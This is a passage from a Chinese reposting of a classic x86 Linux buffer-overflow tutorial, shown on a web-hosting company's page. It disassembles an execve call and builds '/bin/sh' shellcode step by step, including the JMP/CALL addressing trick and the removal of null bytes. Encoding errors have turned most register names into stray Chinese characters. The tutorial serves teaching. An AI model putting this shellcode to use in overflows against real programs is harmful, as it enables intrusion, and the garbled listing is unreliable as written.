手机站
网通分站
电信主站
密 码:
用户名:
当前位置 : 主页>网站运营>建站经验>列表

早期的电脑入侵者

来源:互联网 作者:west263.com 时间:2008-04-16
西部数码-全国虚拟主机10强!40余项虚拟主机管理功能,全国领先!双线多线虚拟主机南北访问畅通无阻!免费赠送企业邮局,.CN域名,自助建站480元起,免费试用7天,满意再付款! P4主机租用799元/月.月付免压金!

0x80002e6 <__execve 42>: popl 離

0x80002e7 <__execve 43>: movl 雙,%esp

0x80002e9 <__execve 45>: popl 雙

0x80002ea <__execve 46>: ret

0x80002eb <__execve 47>: nop

End of assembler dump.

下面我们来首先来分析一下main代码中每条语句的作用:

0x8000130 <main>: pushl 雙

0x8000131 <main 1>: movl %esp,雙

0x8000133 <main 3>: subl  $0x8,%esp

这跟前面的例子相同,也是一段函数的入口处理,保存以前的栈帧指针,更新栈帧指针,最后为局部变量留出空间.在这里,局部变量为:

char *name[2];

也就是两个字符指针.每个字符指针占用4个字节,所以总共留出了 8 个字节的位置.

0x8000136 <main 6>: movl  $0x80027b8,0xfffffff8(雙)

这里, 将字符串"/bin/sh"的地址放入name[0]的内存单元中, 也就是相当于 :

name[0] = "/bin/sh";

0x800013d <main 13>: movl  $0x0,0xfffffffc(雙)

将NULL放入name[1]的内存单元中, 也就是相当于:

name[1] = NULL;

对execve()的调用从下面开始:

0x8000144 <main 20>: pushl  $0x0

开始将参数以逆序压入堆栈, 第一个是NULL.

0x8000146 <main 22>: leal 0xfffffff8(雙),陎

0x8000149 <main 25>: pushl 陎

将name[]的起始地址压入堆栈

0x800014a <main 26>: movl 0xfffffff8(雙),陎

0x800014d <main 29>: pushl 陎

将字符串"/bin/sh"的地址压入堆栈

0x800014e <main 30>: call 0x80002bc <__execve>

调用execve() . call 指令首先将 EIP 压入堆栈

现在我们再来看一下execve()的代码. 首先要注意的是, 不同的操作系统,不同的CPU,他们产生系统调用的方法也不尽相同. 有些使用软中断,有些使用远程调用.从参数传递的角度来说,有些使用寄存器,有些使用堆栈.

我们的这个例子是在基于Intel X86的Linux上运行的.所以我们首先应该知道Linux中,系统调用以软中断的方式产生( INT 80h),参数是通过寄存器传递给系统的.

0x80002bc <__execve>:  pushl 雙

0x80002bd <__execve 1>: movl %esp,雙

0x80002bf <__execve 3>: pushl 離

同样的入口处理

0x80002c0 <__execve 4>: movl  $0xb,陎

将0xb(11)赋给eax , 这是execve()在系统中的索引号.

0x80002c5 <__execve 9>: movl 0x8(雙),離

将字符串"/bin/sh"的地址赋给ebx

0x80002c8 <__execve 12>: movl 0xc(雙),靫

将name[]的地址赋给ecx

0x80002cb <__execve 15>: movl 0x10(雙),韝

将NULL的地址赋给edx

0x80002ce <__execve 18>: int  $0x80

产生系统调用,进入核心态运行.

看了上面的代码,现在我们能够把他精简为下面的汇编语言程式:

leal string,string_addr

movl  $0x0,null_addr

movl  $0xb,陎

movl string_addr,離

leal string_addr,靫

leal null_string,韝

int  $0x80

(我对Linux的汇编语言格式了解不多,所以这几句使用的是DOS汇编语言的格式)

string db "/bin/sh",0

string_addr dd 0

null_addr  dd 0

但是这段代码中还存在着一个问题 ,就是我们在编写ShellCode时并不知道这段程式执行时在内存中所处的位置,所以像:

movl string_addr,離

这种需要将绝对地址编码进机器语言的指令根本就没法使用.

解决这个问题的一个办法就是使用一条额外的JMP和CALL指令. 因为这两条指令编码使用的都是 相对于IP的偏移地址而不是绝对地址, 所以我们能够在ShellCode的最开始加入一条JMP指令, 在string前加入一条CALL指令. 只要我们计算好程式编码的字节长度,就能够使JMP指令跳转到CALL指令处执行,而CALL指令则指向JMP的下一条指令,因为在执行CALL指令时, CPU会将返回地址(在这里就是string的地址)压入堆栈,所以这样我们就能够在运行时获得string的绝对地址.通过这个地址加偏移的间接寻址方法,我们还能够很方便地存取string_addr和null_addr.

经过上面的修改,我们的ShellCode变成了下面的样子:

jmp 0x20

popl esi

movb  $0x0,0x7(%esi)

movl %esi,0x8(%esi)

movl  $0x0,0xC(%esi)

movl  $0xb,陎

movl %esi,離

leal 0x8(%esi),靫

leal 0xC(%esi),韝

int  $0x80

call -0x25

string db "/bin/sh",0

string_addr dd 0

null_addr  dd 0 # 2 bytes,跳转到CALL

# 1 byte, 弹出string地址

# 4 bytes,将string变为以''结尾的字符串

# 7 bytes

# 5 bytes

# 2 bytes

# 3 bytes

# 3 bytes

# 2 bytes

# 5 bytes,跳转到popl %esi

 我们知道C语言中的字符串以''结尾,strcpy等函数碰到''就结束运行.因此为了确保我们的ShellCode能被完整地拷贝到Buffer中,ShellCode中一定不能含有''. 下面我们就对他作最后一次改进,去掉其中的'':

原指令:          替换为:

--------------------------------------------------------

movb  $0x0,0x7(%esi)    xorl 陎,陎

movl  $0x0,0xc(%esi)    movb 陎,0x7(%esi)

               movl 陎,0xc(%esi)

--------------------------------------------------------

movl  $0xb,陎       movb  $0xb,%al

文章整理:西部数码--专业提供域名注册虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!